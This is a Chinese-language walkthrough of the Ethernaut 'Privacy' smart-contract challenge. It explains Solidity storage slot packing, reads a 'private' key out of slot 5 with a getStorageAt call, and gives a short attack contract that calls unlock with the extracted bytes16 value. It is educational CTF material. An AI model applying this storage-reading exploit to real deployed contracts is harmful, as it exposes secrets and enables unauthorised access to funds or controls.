源码:
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Privacy{
bool public locked = true;
uint256 public ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
constructor(bytes32[3] memory _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
}
分析:
首先在区块链中private的数据并不是真正的private,他只限制在合约层面的不可见,在区块链浏览器上是可见的。因此只要我们拿到了data【2】这个合约就不攻自破了。
我们先来了解他的数据存储方式
- 状态变量存储在插槽中,值从右到左存储
- 插槽大小为 32 字节(或 256 位)
- 如果多个值可以存储在一个插槽中,则坚固性将做到这一点
- 数组总是启动一个新插槽,值根据标准存储规则打包
- 例如,布尔值需要 1 位存储(值可以是 0 或 1)
- 一个 uint8 占用 8 位,使插槽的其余部分对可能适合的其他值保持打开状态
本题直观显示如图:
我们看到data[2]是5号存储插槽. 我们可以通过从Ethernaut控制台调用以下代码来获取该值(实例地址替换为自己的地址)
slot = await web3.eth.getStorageAt("0xFbef6E80C86B2017083147021Af255be27B2F8A7", 5);
返回:0x41df771c1ea3a15b991385eb8aa950ba5bd195fa46f5e8807307612c000d92a9
我们得到了 32 字节的十六进制数据。
为什么有64个字符:单个字节始终由从0x00到0xFF的两个十六进制数字表示,后者是最大的每字节值 255。
攻击合约:
contract attack{
Privacy privacy =Privacy(0x0a25fd64BE66D42c8890081595bbE8CD1A27B967);
bytes32 lode =0x41df771c1ea3a15b991385eb8aa950ba5bd195fa46f5e8807307612c000d92a9;
bytes16 lode2 =bytes16(lode);function atta()public{ privacy.unlock(lode2); }}